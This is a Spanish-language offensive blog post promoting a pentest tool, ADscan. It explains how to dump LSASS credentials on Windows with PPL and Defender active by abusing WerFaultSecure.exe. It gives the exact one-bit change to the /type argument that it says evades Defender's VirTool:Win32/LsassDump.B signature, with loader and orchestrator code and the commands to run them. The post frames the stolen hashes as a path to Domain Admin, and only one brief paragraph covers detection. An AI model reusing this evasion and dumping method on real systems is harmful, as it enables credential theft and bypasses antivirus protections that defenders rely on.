LSASS Dump con Defender Activo: PPL Bypass WerFaultSecure

Hay nueve técnicas modernas para volcar lsass.exe en una máquina Windows con RunAsPPL=1 y Defender activo. He probado las nueve en lab. Ocho cayeron por una de tres razones: Microsoft parcheó la primitiva, Defender tiene firma sobre el patrón, o PPL bloquea la apertura del proceso antes de que la técnica llegue a ejecutarse. La novena — wsass, abuse de WerFaultSecure.exe — parecía la solución. Compilé el original de GitHub. Lo probé. Error 5. ACCESS DENIED. El original también era cazado por Defender.

La razón era un único bit en un argumento del loader. Este post documenta la matriz completa de los nueve métodos, los códigos de fallo concretos de los que caen, por qué el original de wsass también fallaba contra Defender, la firma exacta que lo bloqueaba (VirTool:Win32/LsassDump.B), la modificación de un solo bit que lo arregla, y cómo ADscan orquesta el proceso completo con AV fingerprinting y catch intelligence persistente.

MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory. Técnica post-explotación de máxima prioridad porque lsass.exe contiene NT hashes, tickets Kerberos, master keys DPAPI y session keys de logon interactivo en memoria. Un dump exitoso es típicamente el pivot a Domain Admin.

TL;DR para pentesters con prisa:

• El problema: PPL (RunAsPPL=1) bloquea casi todos los métodos; Defender firma el resto.
• Por qué falla el original de WSASS: el loader pasa /type 268310 (0x41816) que tiene el bit 0x40000 — Defender lo bloquea con firma VirTool:Win32/LsassDump.B (sigs 1.449.367.0+) antes de que WerFaultSecure arranque.
• El fix: cambiar a /type 0x2 (MiniDumpWithFullMemory). Sin bit 0x40000, sin firma, sin bloqueo.
• ADscan: orquesta AV fingerprinting + method selection + dump automático + catch intelligence persistente entre engagements.

¿Por qué hacer un LSASS dump moderno es difícil?

LSASS dump en 2014 era una llamada a MiniDumpWriteDump sobre el PID de lsass.exe. Funcionaba contra cualquier máquina, cualquier versión de Windows y cualquier AV de la época. En 2026 esa misma llamada falla por tres razones acumuladas, y un atacante moderno tiene que vencer las tres simultáneamente para conseguir el dump.

La primera es PPL (ProtectedProcessLight), una primitiva del kernel introducida en Windows 8.1 que marca procesos como protegidos en un nivel jerárquico. Cuando un proceso corre con RunAsPPL=1, otro proceso solo puede abrir un handle con PROCESS_VM_READ o PROCESS_QUERY_INFORMATION si está corriendo con un nivel PPL igual o superior. Un proceso unprotected, aunque sea SYSTEM con todos los privilegios elevados, no puede abrir lsass.exe cuando PPL está activado. La consecuencia es que técnicas como comsvcs, procdump, nanodump por handle duplication o MiniDumpWriteDump directa fallan en la primera llamada a OpenProcess con STATUS_ACCESS_DENIED (0xc0000022). No hay nada que hacer en userland desde un proceso unprotected contra un target en PPL. El enable no es opcional en empresas modernas: el GPO de baseline Microsoft para Windows 11 y Server 2022 lo activa por defecto, y la mayoría de implementaciones de Defender for Endpoint con baseline aplicada lo enforce.

La segunda es detección AV/EDR signature-based sobre los patrones de acceso conocidos. Defender, MDE, CrowdStrike y SentinelOne no necesitan analizar el dump resultante para bloquear la operación: hookean MiniDumpWriteDump, NtReadVirtualMemory y NtDuplicateObject con sus user-mode hooks o syscall instrumentation, comparan los argumentos contra firmas de patrones conocidos, y bloquean la llamada antes de que devuelva. Procdump tiene firmas desde 2018. Nanodump las tiene desde finales de 2022. Cualquier técnica que termine llamando a MiniDumpWriteDump sobre un handle a lsass.exe activa la cadena de detección incluso cuando la apertura del handle vino de un PPL bypass válido.

La tercera es ASR (Attack Surface Reduction) rules de Defender, específicamente la regla "Block credential stealing from the Windows local security authority subsystem" (9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2). Cuando esta regla está en modo Block (no Audit), Defender bloquea cualquier proceso que intente acceder a lsass.exe con flags que incluyan VM_READ o memory dump primitives, independientemente de PPL y de si la técnica concreta tiene firma o no. Esta regla es parte del baseline de configuración de seguridad de Microsoft para Windows desde 2018 y está activa por defecto en cualquier deployment de MDE con security baseline aplicada.

Un dump moderno tiene que pasar las tres barreras. La mayoría de técnicas públicas resuelven una. Algunas dos. Casi ninguna las tres a la vez.

¿Qué nueve métodos hay sobre la mesa en 2026?

ADscan implementa nueve backends de LSASS dump y los rankea según el fingerprint del host objetivo. La lista no es exhaustiva del state of the art ofensivo, pero cubre las nueve técnicas con publicación pública madura, código mantenido y reach suficientemente generalizable para integrarse en un workflow automatizado. La declaración exacta está en el orchestrator del repo público:

# adscan_internal/services/exploitation/lsass_orchestrator.py

_ALL_METHODS: tuple[LsassMethod, ...] = (
    LsassMethod(name="comsvcs",            ppl_safe=False, needs_upload=False, opsec_score=2),
    LsassMethod(name="task",               ppl_safe=False, needs_upload=False, opsec_score=2),
    LsassMethod(name="nanodump",           ppl_safe=False, needs_upload=True,  opsec_score=4),
    LsassMethod(name="procdump",           ppl_safe=False, needs_upload=True,  opsec_score=2),
    LsassMethod(name="silentprocessexit",  ppl_safe=True,  needs_upload=False, opsec_score=3),
    LsassMethod(name="ppldump",            ppl_safe=True,  needs_upload=True,  opsec_score=2),
    LsassMethod(name="wsass",              ppl_safe=True,  needs_upload=True,  opsec_score=5),
    LsassMethod(name="pss",                ppl_safe=False, needs_upload=True,  opsec_score=4),
    LsassMethod(name="rtlcp",              ppl_safe=False, needs_upload=True,  opsec_score=4),
)

Los nueve métodos se agrupan en tres familias por enfoque del bypass.

LOTL (Living off the Land) — comsvcs, task y silentprocessexit. Usan binarios firmados o servicios nativos de Windows para triggerar el dump. No requieren upload de payload, lo que reduce huella en disco y telemetría de transferencia. La debilidad es que el patrón de invocación es conocido: rundll32 comsvcs.dll MiniDump <pid> tiene firma en Defender desde 2019, y silentprocessexit deja entradas registrables en HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit que un blue team con monitoring decente flaggea inmediatamente.

Memory primitive bypass — nanodump --dup, pss (PssCaptureSnapshot) y rtlcp (RtlCreateProcessReflection). Atacan la detección signature de Defender evitando que MiniDumpWriteDump reciba un handle directo a lsass.exe. Nanodump duplica handles existentes a lsass desde otros procesos que ya los tienen abiertos. PssCaptureSnapshot clona lsass en una snapshot virtual y dumpa la snapshot. RtlCreateProcessReflection crea un proceso clone via Process Reflection API y dumpa el clone. Los tres pasan AV signature porque el target del dump no es el PID de lsass técnicamente. Ninguno de los tres es PPL-safe: la apertura del handle inicial sigue pasando por OpenProcess con permisos privilegiados, que PPL sigue rechazando.

PPL bypass real — ppldump, wsass y silentprocessexit. Resuelven el problema del nivel PPL del proceso atacante. Ppldump (de itm4n, técnica PPLMedic) usa el truco de KnownDlls + DefineDosDevice para promocionar un proceso userland a PPL via hijacking de DLL loading. Silentprocessexit registra lsass.exe para crash trigger con un debugger configurado, lo que hace que el OS spawne WerFault con privilegios suficientes. Wsass invoca directamente WerFaultSecure.exe, un binario firmado de Microsoft que corre con nivel PPL WinTcb, el más alto del sistema, y le pasa el PID de lsass para que vuelque el proceso como si fuera un crash report legítimo.

¿Cómo se comporta cada uno contra Defender con PPL activo?

He vuelto a lanzar la matriz contra Defender hoy, 2026-05-21, en un Windows Server 2022 con RunAsPPL=1, ASR rule de credential stealing en Block, y signatures de Defender actualizadas del día. El resultado replica el comportamiento documentado en el orchestrator desde la última iteración.

La tabla siguiente recoge los 9 métodos de LSASS dump probados contra Defender con PPL activo en Windows Server 2022:

¹ Con la versión custom de ADscan. El original de TwoSevenOneT/WSASS es cazado por Defender con error 5 (ACCESS DENIED) antes de que WerFaultSecure arranque. Ver sección siguiente.

La descripción del método wsass en el catálogo del orchestrator es directa: "Launches WerFaultSecure.exe (WinTcb PPL level) to dump lsass. Confirmed bypass of PPL and Defender in testing. Best option when PPL + AV/EDR are both active."

El selector del orchestrator lo refleja en el scoring: la regla concreta es que wsass recibe un bonus base de +30 puntos por defecto, y otros +30 puntos adicionales cuando se detecta cualquier producto AV/EDR. Las dos reglas combinadas garantizan que sea el método elegido siempre que el fingerprint del host detecte protección activa.

# adscan_internal/services/exploitation/lsass_orchestrator.py
# (LsassMethodSelector.rank)

# wsass reliability bonus: prefer it by default, even on hosts that
# appear clean, because failed or partial fingerprinting can
# under-report AV/EDR and PPL state.
if method.name == "wsass":
    score += 30

# wsass confirmed bonus: only method that reliably bypasses both PPL
# and AV/EDR. Promote whenever any AV/EDR is even detected.
if method.name == "wsass" and has_any_protection_detected:
    score += 30

¿Por qué wsass puede bypasear PPL?

wsass no es una vulnerabilidad. Es un comportamiento documentado de Windows que Microsoft no puede parchear sin romper compatibilidad con binarios firmados de Windows 8.1.

WerFaultSecure.exe se lanza con PROTECTION_LEVEL_WINTCB_LIGHT, el nivel PPL más alto del sistema. La jerarquía PPL de Windows tiene varios niveles: Lsa, Windows, Antimalware, Authenticode y WinTcb, en orden creciente. Un proceso PPL puede abrir handles privilegiados contra otros procesos PPL de nivel igual o inferior. lsass.exe corre con RunAsPPL=1 en nivel Lsa, varios niveles por debajo de WinTcb. Cuando WerFaultSecure.exe solicita un handle a lsass.exe, el kernel concede acceso porque el nivel del solicitante es estrictamente superior al del target.

WerFaultSecure.exe lleva firmado y en circulación desde Windows 8.1 (octubre de 2013). Revocar su certificado o cambiar su comportamiento rompería el error reporting de qualquier sistema con esa heritage. La técnica de PPL bypass no tiene parche.

El problema que nadie menciona: el original de GitHub también lo cazaba Defender

Que WerFaultSecure.exe bypasee PPL es solo la mitad del problema. La otra mitad es Defender.

Compilé el loader original de TwoSevenOneT/WSASS, lo subí al target y lo ejecuté con Defender RTP activo. Resultado: error 5. ACCESS DENIED. WerFaultSecure no llegó a arrancar.

El loader original construye el comando así:

// TwoSevenOneT/WSASS — original
cmd << werPath
    << L" /h"
    << L" /pid "    << targetPID
    << L" /tid "    << targetTID
    << L" /file "   << HandleToDecimal(hDump)
    << L" /encfile "<< HandleToDecimal(hEncDump)
    << L" /cancel " << HandleToDecimal(hCancel)
    << L" /type 268310";

El argumento /type 268310 es 0x41816 en hexadecimal. Ese valor tiene el bit 0x40000 (MiniDumpWithFullAuxiliaryState) encendido.

Defender tiene una firma específica — VirTool:Win32/LsassDump.B, activa desde signatures 1.449.367.0+ — que bloquea cualquier invocación de WerFaultSecure.exe con un /type que contenga ese bit. No importa que el binario esté firmado por Microsoft. No importa el nivel PPL. Defender bloquea el CreateProcessW antes de que WerFaultSecure arranque.

268310 en hex = 0x41816
0x41816 & 0x40000 = 0x40000  → bit presente → Defender bloquea

¿Cómo pasa el fix de WerFaultSecure la firma VirTool:Win32/LsassDump.B?

El fix es cambiar el /type a un valor sin el bit 0x40000. MiniDumpWithFullMemory (0x2) produce un dump completo de la memoria del proceso y no tiene ese bit.

0x2 & 0x40000 = 0  → bit ausente → Defender no lo bloquea

La versión custom de ADscan sustituye el argumento fijo por un pool de bitmaps sin 0x40000, elegidos aleatoriamente en cada ejecución para variación futura:

// ADscan wsass_dumper — versión custom
// Ref: adscan_internal/services/exploitation/binary_ops/catalog.py

// ADscan patch: /type bitmap chosen to evade Defender signature
// VirTool:Win32/LsassDump.B (Microsoft Defender sig 1.449.367.0+),
// which matches any /type with bit 0x40000 (MiniDumpWithFullAuxiliaryState) set.
//
// Only 0x2 (MiniDumpWithFullMemory) is empirically validated end-to-end:
//   - bypasses CreateProcessW kernel callback (no error 5)
//   - WerFaultSecure produces a full ~44MB dump
//   - pypykatz parses NT hashes, AES keys, DPAPI masterkeys, Kerberos tickets
static const DWORD kDumpTypePool[] = {
    0x00002,  // MiniDumpWithFullMemory — validated 2026-04-30
};
DWORD dumpType = kDumpTypePool[GetTickCount() % (sizeof(kDumpTypePool) / sizeof(DWORD))];

El resultado en lab con Defender RTP activo: dump completo de ~44MB, pypykatz parsea NT hashes, tickets Kerberos y DPAPI master keys. VERDICT: ALL_GREEN.

Además del fix del /type, la versión custom de ADscan incluye cuatro mejoras operacionales respecto al original:

1. Auto-descubrimiento de PID y TID de lsass vía NtQuerySystemInformation. El original requería pasar el PID como argumento.
2. Creación del proceso PPL vía atributos directos de Windows (PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL + PROC_THREAD_ATTRIBUTE_HANDLE_LIST) sin dependencia de la librería PPLHelp.h. Menos dependencias externas, comportamiento más predecible.
3. Restauración del magic header MDMP (0x4D44 4D50) después del dump. WerFaultSecure escribe un header PNG para evasión de AV durante la escritura; ADscan lo restaura al formato correcto para que pypykatz lo parsee sin problemas.
4. Validación del tamaño del dump (mínimo 10MB) antes de declarar éxito. Un dump demasiado pequeño indica fallo silencioso.

# adscan_internal/services/exploitation/binary_ops/catalog.py

"wsass-dumper": WindowsBinary(
    name="wsass-dumper",
    display_name="WSASS PPL Dumper (WerFaultSecure)",
    description="PPL bypass via Win8.1 WerFaultSecure.exe at WinTcb level — opens lsass with RunAsPPL=1",
    filename="WSASS.exe",
    compile_source_url="https://github.com/TwoSevenOneT/WSASS",
    default_remote_dir=r"C:\Windows\Temp",
    common_args=(
        r"C:\Windows\Temp\WerFaultSecure.exe {lsass_pid}",
    ),
    requires_admin=True,
),

¿Por qué Defender no puede bloquear esto structuralmente?

Puede bloquear el argumento /type específico. De hecho lo hace — VirTool:Win32/LsassDump.B es la prueba. Pero no puede bloquear el binario WerFaultSecure.exe en sí porque forma parte del OS y su función legítima es exactamente esta: volcar procesos PPL que crashean.

La postura de Microsoft es audit con telemetría, no block en signature. MDE genera alertas sobre invocaciones de WerFaultSecure.exe con argumentos sospechosos cuando el behavioral engine está activo, pero no bloquea el CreateProcessW en línea. Un SOC con alerting bien configurado puede detectar la actividad. La diferencia con los métodos anteriores es que wsass no es bloqueado automáticamente: genera el dump y deja al blue team la tarea de investigar la alerta después del hecho.

La técnica tiene fecha de caducidad solo si Microsoft añade firma para los bitmaps sin 0x40000 uno a uno, lo que crea una carrera que el atacante gana mientras tenga un pool más amplio que el corpus de firmas. Por eso ADscan mantiene el pool de bitmaps como estructura extensible: cuando Microsoft añada una firma para 0x2, se añade otro bitmap validado al pool.

¿Cómo orquesta ADscan el dump cuando hay AV activo?

La parte interesante del trabajo no es el bypass en sí. Wsass es público, está en GitHub desde hace años, cualquiera puede compilarlo y usarlo manualmente contra una máquina con RunAsPPL=1 y Defender encendido. La parte interesante es construir un sistema que detecte el AV antes de intentar nada, seleccione el método con mayor probabilidad de éxito según fingerprint, persista qué método cayó contra qué producto para que la siguiente máquina con el mismo AV ya empiece evitando los métodos quemados, y degrade ordenadamente cuando el método elegido falla, probando el siguiente sin esperar a que el operador decida.

La arquitectura tiene cuatro componentes en el repo público. El primero es HostFingerprintService, que detecta AV/EDR y estado de PPL antes del dump usando lecturas async de registro vía RRPRPC sobre aiosmb y enumeración de pipes en IPC$. No usa impacket porque no necesita salir del stack async nativo de ADscan. La detección reconoce productos por nombre de servicio, nombre de proceso, presencia de DLL en C:\Program Files\Windows Defender, y entradas en HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection para distinguir Defender activo de Defender deshabilitado.

El segundo es LsassMethodSelector, ranking puro sin red ni I/O, totalmente unit-testable. Recibe el fingerprint del host y la EdrIntelligence persistida, devuelve la lista de los nueve métodos ordenada por score. Las reglas concretas del scoring están explícitas en el código y representan la heurística aprendida del testing repetido: opsec score base multiplicado por 10, penalización de 40 puntos si PPL está activo y el método no es PPL-safe, penalización adicional de 20-50 puntos si el catch intelligence tiene constancia de que ese método ya cayó contra ese producto AV específico, bonus de 15 puntos si el método no requiere upload y el host está limpio de AV activo, bonus de 30 puntos para wsass por defecto y otros 30 si se detecta cualquier protección.

El tercero es LsassDumpOrchestrator, que conecta los tres anteriores en un único call async. El flujo es lineal: fingerprint del host, ranking de métodos, intento secuencial empezando por el top-ranked, detección de catch en cada fallo, registro en EdrIntelligence si el catch corresponde a un producto conocido, y cascada al siguiente método hasta éxito o agotamiento. La detección de catch usa indicadores de error específicos del response:

# adscan_internal/services/exploitation/lsass_orchestrator.py
# (LsassDumpOrchestrator)

_CATCH_INDICATORS = (
    "access denied",
    "privilege",
    "ntstatus",
    "0xc0000022",
    "0xc0000005",
    "lsass",
)

def _detect_catch(self, result, fp):
    if result.success or not fp:
        return False, ""
    if not (fp.has_edr or fp.has_av):
        return False, ""
    err_lower = (result.error or "").lower()
    indicators_hit = sum(1 for ind in _CATCH_INDICATORS if ind in err_lower)
    if indicators_hit >= 1:
        for p in fp.detected_products:
            if p.category == "edr":
                return True, p.name
        for p in fp.detected_products:
            if p.category == "av":
                return True, p.name
    return False, ""

El cuarto es EdrIntelligence, persistencia JSON por workspace en adscan_internal/workspaces/edr_intelligence.py. Estructura: por producto AV/EDR detectado, lista de métodos caídos contra ese producto con timestamp y host de origen. El intel persiste entre ejecuciones del mismo workspace y se consulta en cada nueva ejecución para influir el ranking inicial. La consecuencia práctica es que la primera vez que ADscan se topa con un host nuevo con Defender activo, el orchestrator prueba en el orden del ranking estándar. La segunda vez que se encuentra a Defender en otro host, ya empieza saltándose los métodos que cayeron la primera. Cross-engagement learning sin intervención del operador.

¿Cómo se reproduce esto en lab?

El setup completo de reproducción contra Defender requiere tres piezas. Un Windows Server 2022 o Windows 11 con Defender activo, RunAsPPL=1 configurado vía HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL y signatures de Defender actualizadas. Una segunda máquina con ADscan instalado (Docker o nativo, ambas opciones funcionan). Y credenciales de admin local sobre el target, requeridas por todos los métodos LSASS porque la apertura del proceso solo es posible con SeDebugPrivilege o equivalente que solo los administradores locales tienen por defecto.

La invocación es una línea desde la shell de ADscan:

adscan dump lsass <target-ip> -u <user> -p <password>

El orchestrator hace fingerprint, ranking, y empieza la cascada. El output en Rich panels muestra qué AV se detectó, qué método se seleccionó como top, qué métodos se cascadearon si el primero falló, y el dump final con las credenciales extraídas. Para reproducir el test del 2026-05-21 que validó la matriz, basta con configurar PPL y Defender en el target y correr el comando: el orchestrator selecciona wsass por defecto, descarga el binario al C:\Windows\Temp del target, invoca WerFaultSecure con el PID de lsass, recupera el dump y parsea las credenciales con pypykatz.

Para los nueve métodos individualmente sin cascada del orchestrator, hay un flag manual para forzar el método específico:

adscan dump lsass <target-ip> -u <user> -p <password> --method <method-name>

donde method-name es uno de comsvcs, task, nanodump, procdump, silentprocessexit, ppldump, wsass, pss o rtlcp. Forzar uno de los ocho que caen contra Defender + PPL devuelve el error específico del catch en cada caso, lo que sirve tanto para verificar la matriz como para entrenar el catch intelligence con catches deliberados.

¿Qué pasa con MDE, CrowdStrike, SentinelOne?

El test del 2026-05-21 cubre Defender únicamente. Para los otros productos EDR hay que distinguir entre dos mecanismos de detección que operan de forma diferente.

MDE (Microsoft Defender for Endpoint) comparte el corpus de firmas con Defender, lo que significa que la evasión del bit 0x40000 debería aplicar también a MDE. Sin embargo, MDE con behavioral engine activo genera telemetría de proceso sobre invocaciones de WerFaultSecure.exe con argumentos que no corresponden a flujos legítimos de crash reporting — aunque no lo bloquee en línea. Un SOC con alerting configurado sobre el event ID correspondiente puede detectar la actividad después del hecho. La diferencia con los métodos anteriores: no hay bloqueo automático, hay alerta retrospectiva.

CrowdStrike Falcon y SentinelOne usan behavioral engines independientes del subsistema de error reporting de Windows. Estos engines analizan el grafo de procesos (quién spawneó a quién, con qué argumentos, con qué handle hereditado) y pueden detectar el patrón aunque no tengan una firma estática sobre el /type. El resultado contra estos productos es incierto sin testing empírico.

Detección blue team: si estás en el lado defensivo, el indicador más confiable no es la firma del dump sino el proceso padre de WerFaultSecure.exe. En un crash report legítimo, WerFaultSecure es spawneado por el WER service o por el proceso que crasheó. Cuando es spawneado por un proceso atacante con CREATE_PROTECTED_PROCESS y handle inheritance explícita, el árbol de procesos es anómalo.

La invitación honesta: si pruebas la matriz contra otro EDR y obtienes resultados distintos, abre un issue en el repo público con el catch log y lo añado a la documentación del orchestrator.

¿Qué cambia en un engagement real?

La diferencia operacional entre tener wsass integrado en el orchestrator y conocerlo como técnica suelta es la velocidad y la repetibilidad. Sin el orchestrator, un pentester que llega a una máquina con Defender activo y PPL enabled tiene que: identificar manualmente que el host tiene PPL on, identificar manualmente que tiene Defender, decidir manualmente qué método probar primero, configurar manualmente los argumentos correctos del WerFaultSecure invoke, subir manualmente el binario, ejecutar, parsear la salida, y si falla repetir el ciclo con otro método. Cada paso es de tres a cinco minutos. Cinco intentos antes de dar con el que funciona consume veinte minutos por host. En un engagement de red interna con cien hosts, eso son treinta y tres horas de glue work.

Con el orchestrator, el comando se invoca una vez por host, ADscan hace fingerprint en segundos, ranking en milisegundos, intento en menos de un minuto si el método es el correcto, y si cae prueba el siguiente automáticamente. El catch intelligence además convierte cada engagement en un dataset acumulado: la quinta vez que ADscan se topa con Defender, ya tiene la matriz aprendida y va directo a wsass sin malgastar tiempo probando los ocho métodos quemados.

Más allá de la velocidad, la consecuencia estratégica es que el operador se concentra en la decisión post-dump, no en el dump en sí. Una vez tienes las credenciales de lsass.exe extraídas en formato pypykatz, el siguiente paso (Pass-the-Hash, Kerberoasting, Domain Admin lateral, persistence via Skeleton Key) es la parte interesante del engagement. El dump debería ser un comando, no un proyecto. Eso es lo que el orchestrator resuelve.

¿Qué aprendimos construyendo esto?

Cuatro observaciones que valen para el próximo año de research en credential dump techniques.

Si te interesa el enfoque de patch diffing para entender por qué Microsoft firma determinados patrones antes de que haya PoC pública, hay un post relacionado sobre cómo hacer bindiff a un CVE de Netlogon en 4 horas que usa la misma metodología de análisis.

Primera: nunca asumir que una técnica pública funciona tal como está documentada. El original de WSASS está en GitHub con descripción de "PPL bypass + Defender evasion". Sin probarlo directamente contra Defender RTP activo, habría asumido que funcionaba. No funcionaba. La investigación de por qué — analizar el argumento /type, buscar la firma en el corpus de Defender, identificar el bit específico — tardó horas, no días. El aprendizaje: compilar + probar + analizar el fallo antes de concluir que algo funciona o no funciona. Las descripciones en README no son evidencia empírica.

Segunda: las firmas de AV son más granulares de lo que parecen. Defender no firma WerFaultSecure.exe ni firma "invocar WerFaultSecure para dumpear lsass" como patrón genérico. Firma un argumento específico — el valor del campo /type con un bit concreto encendido. Esa granularidad es a la vez la fortaleza y la debilidad del approach: una firma muy específica es fácil de esquivar cambiando un argumento, pero también es durable porque Microsoft la puede mantener y actualizar por separado del binario. La heurística para el próximo bypass: analizar qué parte exacta está firmada, no asumir que la firma cubre toda la técnica.

Tercera: las técnicas que abusan comportamientos estructurales del OS tienen shelf life largo. El PPL bypass de WerFaultSecure lleva quince años funcionando porque no es un trick de implementación, es comportamiento documentado que Microsoft no puede eliminar sin romper compatibilidad. Cada técnica de implementación tiene fecha de caducidad: nanodump --dup duró tres años, ppldump dieciocho meses, comsvcs desde 2019 está firmado. Las técnicas estructurales sobreviven porque el coste de parchearlas es más alto que el coste de mantenerlas. La heurística para evaluar durabilidad: ¿cuánto coste le genera a Microsoft eliminarlo? Cuanto más alto el coste, más largo el shelf life.

Cuarta: el catch intelligence vale más que cualquier bypass específico. Una matriz de nueve métodos con catches persistidos por producto vale más operacionalmente que tener el método indetectable del mes, porque el método indetectable del mes se quema en semanas cuando los AV vendors actualizan signatures. La matriz aprendida sobrevive porque ya sabe cuál ha caído contra cuál producto y en qué fecha. El sistema gana sobre el truco individual.

Repo público de ADscan (incluye orchestrator, los nueve backends y el catch intelligence): https://github.com/ADScanPro/adscan

El orchestrator vive en adscan_internal/services/exploitation/lsass_orchestrator.py. El catálogo de binarios con la entrada de wsass-dumper está en adscan_internal/services/exploitation/binary_ops/catalog.py. El servicio de fingerprint en host_fingerprint_service.py.

Si te peta contra otro EDR (MDE, CrowdStrike, SentinelOne, ESET), abre issue en el repo con el catch log y lo añado a la matriz pública esta semana.

Acceso beta a ADscan PRO (incluye el orchestrator con flow automation completo, report automation, OPSEC layers Tier 3, attack graph integration): solicitar beta